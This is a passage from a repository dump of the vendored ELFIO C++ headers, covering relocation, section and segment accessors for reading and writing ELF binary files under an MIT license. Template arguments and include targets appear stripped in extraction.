get_sym_and_type 41 | { 42 | static int get_r_sym( Elf_Xword info ) 43 | { 44 | return ELF32_R_SYM( (Elf_Word)info ); 45 | } 46 | static int get_r_type( Elf_Xword info ) 47 | { 48 | return ELF32_R_TYPE( (Elf_Word)info ); 49 | } 50 | }; 51 | template <> struct get_sym_and_type 52 | { 53 | static int get_r_sym( Elf_Xword info ) { return ELF64_R_SYM( info ); } 54 | static int get_r_type( Elf_Xword info ) { return ELF64_R_TYPE( info ); } 55 | }; 56 | template <> struct get_sym_and_type 57 | { 58 | static int get_r_sym( Elf_Xword info ) { return ELF64_R_SYM( info ); } 59 | static int get_r_type( Elf_Xword info ) { return ELF64_R_TYPE( info ); } 60 | }; 61 | 62 | //------------------------------------------------------------------------------ 63 | template class relocation_section_accessor_template 64 | { 65 | public: 66 | //------------------------------------------------------------------------------ 67 | relocation_section_accessor_template( const elfio& elf_file, S* section ) 68 | : elf_file( elf_file ), relocation_section( section ) 69 | { 70 | } 71 | 72 | //------------------------------------------------------------------------------ 73 | Elf_Xword get_entries_num() const 74 | { 75 | Elf_Xword nRet = 0; 76 | 77 | if ( 0 != relocation_section->get_entry_size() ) { 78 | nRet = relocation_section->get_size() / 79 | relocation_section->get_entry_size(); 80 | } 81 | 82 | return nRet; 83 | } 84 | 85 | //------------------------------------------------------------------------------ 86 | bool get_entry( Elf_Xword index, 87 | Elf64_Addr& offset, 88 | Elf_Word& symbol, 89 | unsigned char& type, 90 | Elf_Sxword& addend ) const 91 | { 92 | if ( index >= get_entries_num() ) { // Is index valid 93 | return false; 94 | } 95 | 96 | if ( elf_file.get_class() == ELFCLASS32 ) { 97 | if ( SHT_REL == relocation_section->get_type() ) { 98 | generic_get_entry_rel( index, offset, symbol, type, 99 | addend ); 100 | } 101 | else if ( SHT_RELA == relocation_section->get_type() ) { 102 | generic_get_entry_rela( index, offset, symbol, type, 103 | addend ); 104 | } 105 | } 106 | else { 107 | if ( SHT_REL == relocation_section->get_type() ) { 108 | generic_get_entry_rel( index, offset, symbol, type, 109 | addend ); 110 | } 111 | else if ( SHT_RELA == relocation_section->get_type() ) { 112 | generic_get_entry_rela( index, offset, symbol, type, 113 | addend ); 114 | } 115 | } 116 | 117 | return true; 118 | } 119 | 120 | //------------------------------------------------------------------------------ 121 | bool get_entry( Elf_Xword index, 122 | Elf64_Addr& offset, 123 | Elf64_Addr& symbolValue, 124 | std::string& symbolName, 125 | unsigned char& type, 126 | Elf_Sxword& addend, 127 | Elf_Sxword& calcValue ) const 128 | { 129 | // Do regular job 130 | Elf_Word symbol; 131 | bool ret = get_entry( index, offset, symbol, type, addend ); 132 | 133 | // Find the symbol 134 | Elf_Xword size; 135 | unsigned char bind; 136 | unsigned char symbolType; 137 | Elf_Half section; 138 | unsigned char other; 139 | 140 | symbol_section_accessor symbols( 141 | elf_file, elf_file.sections[get_symbol_table_index()] ); 142 | ret = ret && symbols.get_symbol( symbol, symbolName, symbolValue, size, 143 | bind, symbolType, section, other ); 144 | 145 | if ( ret ) { // Was it successful? 146 | switch ( type ) { 147 | case R_386_NONE: // none 148 | calcValue = 0; 149 | break; 150 | case R_386_32: // S + A 151 | calcValue = symbolValue + addend; 152 | break; 153 | case R_386_PC32: // S + A - P 154 | calcValue = symbolValue + addend - offset; 155 | break; 156 | case R_386_GOT32: // G + A - P 157 | calcValue = 0; 158 | break; 159 | case R_386_PLT32: // L + A - P 160 | calcValue = 0; 161 | break; 162 | case R_386_COPY: // none 163 | calcValue = 0; 164 | break; 165 | case R_386_GLOB_DAT: // S 166 | case R_386_JMP_SLOT: // S 167 | calcValue = symbolValue; 168 | break; 169 | case R_386_RELATIVE: // B + A 170 | calcValue = addend; 171 | break; 172 | case R_386_GOTOFF: // S + A - GOT 173 | calcValue = 0; 174 | break; 175 | case R_386_GOTPC: // GOT + A - P 176 | calcValue = 0; 177 | break; 178 | default: // Not recognized symbol! 179 | calcValue = 0; 180 | break; 181 | } 182 | } 183 | 184 | return ret; 185 | } 186 | 187 | //------------------------------------------------------------------------------ 188 | bool set_entry( Elf_Xword index, 189 | Elf64_Addr offset, 190 | Elf_Word symbol, 191 | unsigned char type, 192 | Elf_Sxword addend ) 193 | { 194 | if ( index >= get_entries_num() ) { // Is index valid 195 | return false; 196 | } 197 | 198 | if ( elf_file.get_class() == ELFCLASS32 ) { 199 | if ( SHT_REL == relocation_section->get_type() ) { 200 | generic_set_entry_rel( index, offset, symbol, type, 201 | addend ); 202 | } 203 | else if ( SHT_RELA == relocation_section->get_type() ) { 204 | generic_set_entry_rela( index, offset, symbol, type, 205 | addend ); 206 | } 207 | } 208 | else { 209 | if ( SHT_REL == relocation_section->get_type() ) { 210 | generic_set_entry_rel( index, offset, symbol, type, 211 | addend ); 212 | } 213 | else if ( SHT_RELA == relocation_section->get_type() ) { 214 | generic_set_entry_rela( index, offset, symbol, type, 215 | addend ); 216 | } 217 | } 218 | 219 | return true; 220 | } 221 | 222 | //------------------------------------------------------------------------------ 223 | void add_entry( Elf64_Addr offset, Elf_Xword info ) 224 | { 225 | if ( elf_file.get_class() == ELFCLASS32 ) { 226 | generic_add_entry( offset, info ); 227 | } 228 | else { 229 | generic_add_entry( offset, info ); 230 | } 231 | } 232 | 233 | //------------------------------------------------------------------------------ 234 | void add_entry( Elf64_Addr offset, Elf_Word symbol, unsigned char type ) 235 | { 236 | Elf_Xword info; 237 | if ( elf_file.get_class() == ELFCLASS32 ) { 238 | info = ELF32_R_INFO( (Elf_Xword)symbol, type ); 239 | } 240 | else { 241 | info = ELF64_R_INFO( (Elf_Xword)symbol, type ); 242 | } 243 | 244 | add_entry( offset, info ); 245 | } 246 | 247 | //------------------------------------------------------------------------------ 248 | void add_entry( Elf64_Addr offset, Elf_Xword info, Elf_Sxword addend ) 249 | { 250 | if ( elf_file.get_class() == ELFCLASS32 ) { 251 | generic_add_entry( offset, info, addend ); 252 | } 253 | else { 254 | generic_add_entry( offset, info, addend ); 255 | } 256 | } 257 | 258 | //------------------------------------------------------------------------------ 259 | void add_entry( Elf64_Addr offset, 260 | Elf_Word symbol, 261 | unsigned char type, 262 | Elf_Sxword addend ) 263 | { 264 | Elf_Xword info; 265 | if ( elf_file.get_class() == ELFCLASS32 ) { 266 | info = ELF32_R_INFO( (Elf_Xword)symbol, type ); 267 | } 268 | else { 269 | info = ELF64_R_INFO( (Elf_Xword)symbol, type ); 270 | } 271 | 272 | add_entry( offset, info, addend ); 273 | } 274 | 275 | //------------------------------------------------------------------------------ 276 | void add_entry( string_section_accessor str_writer, 277 | const char* str, 278 | symbol_section_accessor sym_writer, 279 | Elf64_Addr value, 280 | Elf_Word size, 281 | unsigned char sym_info, 282 | unsigned char other, 283 | Elf_Half shndx, 284 | Elf64_Addr offset, 285 | unsigned char type ) 286 | { 287 | Elf_Word str_index = str_writer.add_string( str ); 288 | Elf_Word sym_index = sym_writer.add_symbol( str_index, value, size, 289 | sym_info, other, shndx ); 290 | add_entry( offset, sym_index, type ); 291 | } 292 | 293 | //------------------------------------------------------------------------------ 294 | void swap_symbols( Elf_Xword first, Elf_Xword second ) 295 | { 296 | Elf64_Addr offset; 297 | Elf_Word symbol; 298 | unsigned char rtype; 299 | Elf_Sxword addend; 300 | for ( Elf_Word i = 0; i < get_entries_num(); i++ ) { 301 | get_entry( i, offset, symbol, rtype, addend ); 302 | if ( symbol == first ) { 303 | set_entry( i, offset, (Elf_Word)second, rtype, addend ); 304 | } 305 | if ( symbol == second ) { 306 | set_entry( i, offset, (Elf_Word)first, rtype, addend ); 307 | } 308 | } 309 | } 310 | 311 | //------------------------------------------------------------------------------ 312 | private: 313 | //------------------------------------------------------------------------------ 314 | Elf_Half get_symbol_table_index() const 315 | { 316 | return (Elf_Half)relocation_section->get_link(); 317 | } 318 | 319 | //------------------------------------------------------------------------------ 320 | template 321 | void generic_get_entry_rel( Elf_Xword index, 322 | Elf64_Addr& offset, 323 | Elf_Word& symbol, 324 | unsigned char& type, 325 | Elf_Sxword& addend ) const 326 | { 327 | const endianess_convertor& convertor = elf_file.get_convertor(); 328 | 329 | const T* pEntry = reinterpret_cast( 330 | relocation_section->get_data() + 331 | index * relocation_section->get_entry_size() ); 332 | offset = convertor( pEntry->r_offset ); 333 | Elf_Xword tmp = convertor( pEntry->r_info ); 334 | symbol = get_sym_and_type::get_r_sym( tmp ); 335 | type = get_sym_and_type::get_r_type( tmp ); 336 | addend = 0; 337 | } 338 | 339 | //------------------------------------------------------------------------------ 340 | template 341 | void generic_get_entry_rela( Elf_Xword index, 342 | Elf64_Addr& offset, 343 | Elf_Word& symbol, 344 | unsigned char& type, 345 | Elf_Sxword& addend ) const 346 | { 347 | const endianess_convertor& convertor = elf_file.get_convertor(); 348 | 349 | const T* pEntry = reinterpret_cast( 350 | relocation_section->get_data() + 351 | index * relocation_section->get_entry_size() ); 352 | offset = convertor( pEntry->r_offset ); 353 | Elf_Xword tmp = convertor( pEntry->r_info ); 354 | symbol = get_sym_and_type::get_r_sym( tmp ); 355 | type = get_sym_and_type::get_r_type( tmp ); 356 | addend = convertor( pEntry->r_addend ); 357 | } 358 | 359 | //------------------------------------------------------------------------------ 360 | template 361 | void generic_set_entry_rel( Elf_Xword index, 362 | Elf64_Addr offset, 363 | Elf_Word symbol, 364 | unsigned char type, 365 | Elf_Sxword ) 366 | { 367 | const endianess_convertor& convertor = elf_file.get_convertor(); 368 | 369 | T* pEntry = const_cast( reinterpret_cast( 370 | relocation_section->get_data() + 371 | index * relocation_section->get_entry_size() ) ); 372 | 373 | if ( elf_file.get_class() == ELFCLASS32 ) { 374 | pEntry->r_info = ELF32_R_INFO( (Elf_Xword)symbol, type ); 375 | } 376 | else { 377 | pEntry->r_info = ELF64_R_INFO( (Elf_Xword)symbol, type ); 378 | } 379 | pEntry->r_offset = offset; 380 | pEntry->r_offset = convertor( pEntry->r_offset ); 381 | pEntry->r_info = convertor( pEntry->r_info ); 382 | } 383 | 384 | //------------------------------------------------------------------------------ 385 | template 386 | void generic_set_entry_rela( Elf_Xword index, 387 | Elf64_Addr offset, 388 | Elf_Word symbol, 389 | unsigned char type, 390 | Elf_Sxword addend ) 391 | { 392 | const endianess_convertor& convertor = elf_file.get_convertor(); 393 | 394 | T* pEntry = const_cast( reinterpret_cast( 395 | relocation_section->get_data() + 396 | index * relocation_section->get_entry_size() ) ); 397 | 398 | if ( elf_file.get_class() == ELFCLASS32 ) { 399 | pEntry->r_info = ELF32_R_INFO( (Elf_Xword)symbol, type ); 400 | } 401 | else { 402 | pEntry->r_info = ELF64_R_INFO( (Elf_Xword)symbol, type ); 403 | } 404 | pEntry->r_offset = offset; 405 | pEntry->r_addend = addend; 406 | pEntry->r_offset = convertor( pEntry->r_offset ); 407 | pEntry->r_info = convertor( pEntry->r_info ); 408 | pEntry->r_addend = convertor( pEntry->r_addend ); 409 | } 410 | 411 | //------------------------------------------------------------------------------ 412 | template 413 | void generic_add_entry( Elf64_Addr offset, Elf_Xword info ) 414 | { 415 | const endianess_convertor& convertor = elf_file.get_convertor(); 416 | 417 | T entry; 418 | entry.r_offset = offset; 419 | entry.r_info = info; 420 | entry.r_offset = convertor( entry.r_offset ); 421 | entry.r_info = convertor( entry.r_info ); 422 | 423 | relocation_section->append_data( reinterpret_cast( &entry ), 424 | sizeof( entry ) ); 425 | } 426 | 427 | //------------------------------------------------------------------------------ 428 | template 429 | void 430 | generic_add_entry( Elf64_Addr offset, Elf_Xword info, Elf_Sxword addend ) 431 | { 432 | const endianess_convertor& convertor = elf_file.get_convertor(); 433 | 434 | T entry; 435 | entry.r_offset = offset; 436 | entry.r_info = info; 437 | entry.r_addend = addend; 438 | entry.r_offset = convertor( entry.r_offset ); 439 | entry.r_info = convertor( entry.r_info ); 440 | entry.r_addend = convertor( entry.r_addend ); 441 | 442 | relocation_section->append_data( reinterpret_cast( &entry ), 443 | sizeof( entry ) ); 444 | } 445 | 446 | //------------------------------------------------------------------------------ 447 | private: 448 | const elfio& elf_file; 449 | S* relocation_section; 450 | }; 451 | 452 | using relocation_section_accessor = 453 | relocation_section_accessor_template
; 454 | using const_relocation_section_accessor = 455 | relocation_section_accessor_template; 456 | 457 | } // namespace ELFIO 458 | 459 | #endif // ELFIO_RELOCATION_HPP 460 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_section.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_SECTION_HPP 24 | #define ELFIO_SECTION_HPP 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | namespace ELFIO { 32 | 33 | class section 34 | { 35 | friend class elfio; 36 | 37 | public: 38 | virtual ~section() = default; 39 | 40 | ELFIO_GET_ACCESS_DECL( Elf_Half, index ); 41 | ELFIO_GET_SET_ACCESS_DECL( std::string, name ); 42 | ELFIO_GET_SET_ACCESS_DECL( Elf_Word, type ); 43 | ELFIO_GET_SET_ACCESS_DECL( Elf_Xword, flags ); 44 | ELFIO_GET_SET_ACCESS_DECL( Elf_Word, info ); 45 | ELFIO_GET_SET_ACCESS_DECL( Elf_Word, link ); 46 | ELFIO_GET_SET_ACCESS_DECL( Elf_Xword, addr_align ); 47 | ELFIO_GET_SET_ACCESS_DECL( Elf_Xword, entry_size ); 48 | ELFIO_GET_SET_ACCESS_DECL( Elf64_Addr, address ); 49 | ELFIO_GET_SET_ACCESS_DECL( Elf_Xword, size ); 50 | ELFIO_GET_SET_ACCESS_DECL( Elf_Word, name_string_offset ); 51 | ELFIO_GET_ACCESS_DECL( Elf64_Off, offset ); 52 | 53 | virtual const char* get_data() const = 0; 54 | virtual void set_data( const char* pData, Elf_Word size ) = 0; 55 | virtual void set_data( const std::string& data ) = 0; 56 | virtual void append_data( const char* pData, Elf_Word size ) = 0; 57 | virtual void append_data( const std::string& data ) = 0; 58 | 59 | protected: 60 | ELFIO_SET_ACCESS_DECL( Elf64_Off, offset ); 61 | ELFIO_SET_ACCESS_DECL( Elf_Half, index ); 62 | 63 | virtual void load( std::istream& stream, std::streampos header_offset ) = 0; 64 | virtual void save( std::ostream& stream, 65 | std::streampos header_offset, 66 | std::streampos data_offset ) = 0; 67 | virtual bool is_address_initialized() const = 0; 68 | }; 69 | 70 | template class section_impl : public section 71 | { 72 | public: 73 | //------------------------------------------------------------------------------ 74 | section_impl( const endianess_convertor* convertor, 75 | const address_translator* translator ) 76 | : convertor( convertor ), translator( translator ) 77 | { 78 | std::fill_n( reinterpret_cast( &header ), sizeof( header ), 79 | '\0' ); 80 | is_address_set = false; 81 | data = nullptr; 82 | data_size = 0; 83 | index = 0; 84 | stream_size = 0; 85 | } 86 | 87 | //------------------------------------------------------------------------------ 88 | ~section_impl() override { delete[] data; } 89 | 90 | //------------------------------------------------------------------------------ 91 | // Section info functions 92 | ELFIO_GET_SET_ACCESS( Elf_Word, type, header.sh_type ); 93 | ELFIO_GET_SET_ACCESS( Elf_Xword, flags, header.sh_flags ); 94 | ELFIO_GET_SET_ACCESS( Elf_Xword, size, header.sh_size ); 95 | ELFIO_GET_SET_ACCESS( Elf_Word, link, header.sh_link ); 96 | ELFIO_GET_SET_ACCESS( Elf_Word, info, header.sh_info ); 97 | ELFIO_GET_SET_ACCESS( Elf_Xword, addr_align, header.sh_addralign ); 98 | ELFIO_GET_SET_ACCESS( Elf_Xword, entry_size, header.sh_entsize ); 99 | ELFIO_GET_SET_ACCESS( Elf_Word, name_string_offset, header.sh_name ); 100 | ELFIO_GET_ACCESS( Elf64_Addr, address, header.sh_addr ); 101 | 102 | //------------------------------------------------------------------------------ 103 | Elf_Half get_index() const override { return index; } 104 | 105 | //------------------------------------------------------------------------------ 106 | std::string get_name() const override { return name; } 107 | 108 | //------------------------------------------------------------------------------ 109 | void set_name( std::string name ) override { this->name = name; } 110 | 111 | //------------------------------------------------------------------------------ 112 | void set_address( Elf64_Addr value ) override 113 | { 114 | header.sh_addr = value; 115 | header.sh_addr = ( *convertor )( header.sh_addr ); 116 | is_address_set = true; 117 | } 118 | 119 | //------------------------------------------------------------------------------ 120 | bool is_address_initialized() const override { return is_address_set; } 121 | 122 | //------------------------------------------------------------------------------ 123 | const char* get_data() const override { return data; } 124 | 125 | //------------------------------------------------------------------------------ 126 | void set_data( const char* raw_data, Elf_Word size ) override 127 | { 128 | if ( get_type() != SHT_NOBITS ) { 129 | delete[] data; 130 | data = new ( std::nothrow ) char[size]; 131 | if ( nullptr != data && nullptr != raw_data ) { 132 | data_size = size; 133 | std::copy( raw_data, raw_data + size, data ); 134 | } 135 | else { 136 | data_size = 0; 137 | } 138 | } 139 | 140 | set_size( data_size ); 141 | } 142 | 143 | //------------------------------------------------------------------------------ 144 | void set_data( const std::string& str_data ) override 145 | { 146 | return set_data( str_data.c_str(), (Elf_Word)str_data.size() ); 147 | } 148 | 149 | //------------------------------------------------------------------------------ 150 | void append_data( const char* raw_data, Elf_Word size ) override 151 | { 152 | if ( get_type() != SHT_NOBITS ) { 153 | if ( get_size() + size < data_size ) { 154 | std::copy( raw_data, raw_data + size, data + get_size() ); 155 | } 156 | else { 157 | data_size = 2 * ( data_size + size ); 158 | char* new_data = new ( std::nothrow ) char[data_size]; 159 | 160 | if ( nullptr != new_data ) { 161 | std::copy( data, data + get_size(), new_data ); 162 | std::copy( raw_data, raw_data + size, 163 | new_data + get_size() ); 164 | delete[] data; 165 | data = new_data; 166 | } 167 | else { 168 | size = 0; 169 | } 170 | } 171 | set_size( get_size() + size ); 172 | } 173 | } 174 | 175 | //------------------------------------------------------------------------------ 176 | void append_data( const std::string& str_data ) override 177 | { 178 | return append_data( str_data.c_str(), (Elf_Word)str_data.size() ); 179 | } 180 | 181 | //------------------------------------------------------------------------------ 182 | protected: 183 | //------------------------------------------------------------------------------ 184 | ELFIO_GET_SET_ACCESS( Elf64_Off, offset, header.sh_offset ); 185 | 186 | //------------------------------------------------------------------------------ 187 | void set_index( Elf_Half value ) override { index = value; } 188 | 189 | //------------------------------------------------------------------------------ 190 | void load( std::istream& stream, std::streampos header_offset ) override 191 | { 192 | std::fill_n( reinterpret_cast( &header ), sizeof( header ), 193 | '\0' ); 194 | 195 | if ( translator->empty() ) { 196 | stream.seekg( 0, stream.end ); 197 | set_stream_size( stream.tellg() ); 198 | } 199 | else { 200 | set_stream_size( std::numeric_limits::max() ); 201 | } 202 | 203 | stream.seekg( ( *translator )[header_offset] ); 204 | stream.read( reinterpret_cast( &header ), sizeof( header ) ); 205 | 206 | Elf_Xword size = get_size(); 207 | if ( nullptr == data && SHT_NULL != get_type() && 208 | SHT_NOBITS != get_type() && size < get_stream_size() ) { 209 | data = new ( std::nothrow ) char[size + 1]; 210 | 211 | if ( ( 0 != size ) && ( nullptr != data ) ) { 212 | stream.seekg( 213 | ( *translator )[( *convertor )( header.sh_offset )] ); 214 | stream.read( data, size ); 215 | data[size] = 0; // Ensure data is ended with 0 to avoid oob read 216 | data_size = size; 217 | } 218 | else { 219 | data_size = 0; 220 | } 221 | } 222 | } 223 | 224 | //------------------------------------------------------------------------------ 225 | void save( std::ostream& stream, 226 | std::streampos header_offset, 227 | std::streampos data_offset ) override 228 | { 229 | if ( 0 != get_index() ) { 230 | header.sh_offset = data_offset; 231 | header.sh_offset = ( *convertor )( header.sh_offset ); 232 | } 233 | 234 | save_header( stream, header_offset ); 235 | if ( get_type() != SHT_NOBITS && get_type() != SHT_NULL && 236 | get_size() != 0 && data != nullptr ) { 237 | save_data( stream, data_offset ); 238 | } 239 | } 240 | 241 | //------------------------------------------------------------------------------ 242 | private: 243 | //------------------------------------------------------------------------------ 244 | void save_header( std::ostream& stream, std::streampos header_offset ) const 245 | { 246 | adjust_stream_size( stream, header_offset ); 247 | stream.write( reinterpret_cast( &header ), 248 | sizeof( header ) ); 249 | } 250 | 251 | //------------------------------------------------------------------------------ 252 | void save_data( std::ostream& stream, std::streampos data_offset ) const 253 | { 254 | adjust_stream_size( stream, data_offset ); 255 | stream.write( get_data(), get_size() ); 256 | } 257 | 258 | //------------------------------------------------------------------------------ 259 | size_t get_stream_size() const { return stream_size; } 260 | 261 | //------------------------------------------------------------------------------ 262 | void set_stream_size( size_t value ) { stream_size = value; } 263 | 264 | //------------------------------------------------------------------------------ 265 | private: 266 | T header; 267 | Elf_Half index; 268 | std::string name; 269 | char* data; 270 | Elf_Word data_size; 271 | const endianess_convertor* convertor; 272 | const address_translator* translator; 273 | bool is_address_set; 274 | size_t stream_size; 275 | }; 276 | 277 | } // namespace ELFIO 278 | 279 | #endif // ELFIO_SECTION_HPP 280 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_segment.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | copies of the Software, and to permit persons to whom the Software is 9 | furnished to do so, subject to the following conditions: 10 | 11 | The above copyright notice and this permission notice shall be included in 12 | all copies or substantial portions of the Software. 13 | 14 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | THE SOFTWARE. 21 | */ 22 | 23 | #ifndef ELFIO_SEGMENT_HPP 24 | #define ELFIO_SEGMENT_HPP 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | namespace ELFIO { 32 | 33 | class segment 34 | { 35 | friend class elfio; 36 | 37 | public: 38 | virtual ~segment() = default; 39 | 40 | ELFIO_GET_ACCESS_DECL( Elf_Half, index ); 41 | ELFIO_GET_SET_ACCESS_DECL( Elf_Word, type ); 42 | ELFIO_GET_SET_ACCESS_DECL( Elf_Word, flags ); 43 | ELFIO_GET_SET_ACCESS_DECL( Elf_Xword, align ); 44 | ELFIO_GET_SET_ACCESS_DECL( Elf64_Addr, virtual_address ); 45 | ELFIO_GET_SET_ACCESS_DECL( Elf64_Addr, physical_address ); 46 | ELFIO_GET_SET_ACCESS_DECL( Elf_Xword, file_size ); 47 | ELFIO_GET_SET_ACCESS_DECL( Elf_Xword, memory_size ); 48 | ELFIO_GET_ACCESS_DECL( Elf64_Off, offset ); 49 | 50 | virtual const char* get_data() const = 0; 51 | 52 | virtual Elf_Half add_section( section* psec, Elf_Xword addr_align ) = 0; 53 | virtual Elf_Half add_section_index( Elf_Half index, 54 | Elf_Xword addr_align ) = 0; 55 | virtual Elf_Half get_sections_num() const = 0; 56 | virtual Elf_Half get_section_index_at( Elf_Half num ) const = 0; 57 | virtual bool is_offset_initialized() const = 0; 58 | 59 | protected: 60 | ELFIO_SET_ACCESS_DECL( Elf64_Off, offset ); 61 | ELFIO_SET_ACCESS_DECL( Elf_Half, index ); 62 | 63 | virtual const std::vector& get_sections() const = 0; 64 | virtual void load( std::istream& stream, std::streampos header_offset ) = 0; 65 | virtual void save( std::ostream& stream, 66 | std::streampos header_offset, 67 | std::streampos data_offset ) = 0; 68 | }; 69 | 70 | //------------------------------------------------------------------------------ 71 | template class segment_impl : public segment 72 | { 73 | public: 74 | //------------------------------------------------------------------------------ 75 | segment_impl( const endianess_convertor* convertor, 76 | const address_translator* translator ) 77 | : index( 0 ), data( nullptr ), convertor( convertor ), 78 | translator( translator ), stream_size( 0 ), is_offset_set( false ) 79 | { 80 | std::fill_n( reinterpret_cast( &ph ), sizeof( ph ), '\0' ); 81 | } 82 | 83 | //------------------------------------------------------------------------------ 84 | ~segment_impl() override { delete[] data; } 85 | 86 | //------------------------------------------------------------------------------ 87 | // Section info functions 88 | ELFIO_GET_SET_ACCESS( Elf_Word, type, ph.p_type ); 89 | ELFIO_GET_SET_ACCESS( Elf_Word, flags, ph.p_flags ); 90 | ELFIO_GET_SET_ACCESS( Elf_Xword, align, ph.p_align ); 91 | ELFIO_GET_SET_ACCESS( Elf64_Addr, virtual_address, ph.p_vaddr ); 92 | ELFIO_GET_SET_ACCESS( Elf64_Addr, physical_address, ph.p_paddr ); 93 | ELFIO_GET_SET_ACCESS( Elf_Xword, file_size, ph.p_filesz ); 94 | ELFIO_GET_SET_ACCESS( Elf_Xword, memory_size, ph.p_memsz ); 95 | ELFIO_GET_ACCESS( Elf64_Off, offset, ph.p_offset ); 96 | 97 | //------------------------------------------------------------------------------ 98 | Elf_Half get_index() const override { return index; } 99 | 100 | //------------------------------------------------------------------------------ 101 | const char* get_data() const override { return data; } 102 | 103 | //------------------------------------------------------------------------------ 104 | Elf_Half add_section_index( Elf_Half sec_index, 105 | Elf_Xword addr_align ) override 106 | { 107 | sections.emplace_back( sec_index ); 108 | if ( addr_align > get_align() ) { 109 | set_align( addr_align ); 110 | } 111 | 112 | return (Elf_Half)sections.size(); 113 | } 114 | 115 | //------------------------------------------------------------------------------ 116 | Elf_Half add_section( section* psec, Elf_Xword addr_align ) override 117 | { 118 | return add_section_index( psec->get_index(), addr_align ); 119 | } 120 | 121 | //------------------------------------------------------------------------------ 122 | Elf_Half get_sections_num() const override 123 | { 124 | return (Elf_Half)sections.size(); 125 | } 126 | 127 | //------------------------------------------------------------------------------ 128 | Elf_Half get_section_index_at( Elf_Half num ) const override 129 | { 130 | if ( num < sections.size() ) { 131 | return sections[num]; 132 | } 133 | 134 | return Elf_Half( -1 ); 135 | } 136 | 137 | //------------------------------------------------------------------------------ 138 | protected: 139 | //------------------------------------------------------------------------------ 140 | 141 | //------------------------------------------------------------------------------ 142 | void set_offset( Elf64_Off value ) override 143 | { 144 | ph.p_offset = value; 145 | ph.p_offset = ( *convertor )( ph.p_offset ); 146 | is_offset_set = true; 147 | } 148 | 149 | //------------------------------------------------------------------------------ 150 | bool is_offset_initialized() const override { return is_offset_set; } 151 | 152 | //------------------------------------------------------------------------------ 153 | const std::vector& get_sections() const override 154 | { 155 | return sections; 156 | } 157 | 158 | //------------------------------------------------------------------------------ 159 | void set_index( Elf_Half value ) override { index = value; } 160 | 161 | //------------------------------------------------------------------------------ 162 | void load( std::istream& stream, std::streampos header_offset ) override 163 | { 164 | if ( translator->empty() ) { 165 | stream.seekg( 0, stream.end ); 166 | set_stream_size( stream.tellg() ); 167 | } 168 | else { 169 | set_stream_size( std::numeric_limits::max() ); 170 | } 171 | 172 | stream.seekg( ( *translator )[header_offset] ); 173 | stream.read( reinterpret_cast( &ph ), sizeof( ph ) ); 174 | is_offset_set = true; 175 | 176 | if ( PT_NULL != get_type() && 0 != get_file_size() ) { 177 | stream.seekg( ( *translator )[( *convertor )( ph.p_offset )] ); 178 | Elf_Xword size = get_file_size(); 179 | 180 | if ( size > get_stream_size() ) { 181 | data = nullptr; 182 | } 183 | else { 184 | data = new ( std::nothrow ) char[size + 1]; 185 | 186 | if ( nullptr != data ) { 187 | stream.read( data, size ); 188 | data[size] = 0; 189 | } 190 | } 191 | } 192 | } 193 | 194 | //------------------------------------------------------------------------------ 195 | void save( std::ostream& stream, 196 | std::streampos header_offset, 197 | std::streampos data_offset ) override 198 | { 199 | ph.p_offset = data_offset; 200 | ph.p_offset = ( *convertor )( ph.p_offset ); 201 | adjust_stream_size( stream, header_offset ); 202 | stream.write( reinterpret_cast( &ph ), sizeof( ph ) ); 203 | } 204 | 205 | //------------------------------------------------------------------------------ 206 | size_t get_stream_size() const { return stream_size; } 207 | 208 | //------------------------------------------------------------------------------ 209 | void set_stream_size( size_t value ) { stream_size = value; } 210 | 211 | //------------------------------------------------------------------------------ 212 | private: 213 | T ph; 214 | Elf_Half index; 215 | char* data; 216 | std::vector sections; 217 | const endianess_convertor* convertor; 218 | const address_translator* translator; 219 | size_t stream_size; 220 | bool is_offset_set; 221 | }; 222 | 223 | } // namespace ELFIO 224 | 225 | #endif // ELFIO_SEGMENT_HPP 226 | -------------------------------------------------------------------------------- /vendor/include/elfio/elfio_strings.hpp: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2001-present by Serge Lamikhov-Center 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining a copy 5 | of this software and associated documentation files (the "Software"), to deal 6 | in the Software without restriction, including without limitation the rights 7 | to use, copy, modify, merge, publish, distribute, sublicense, 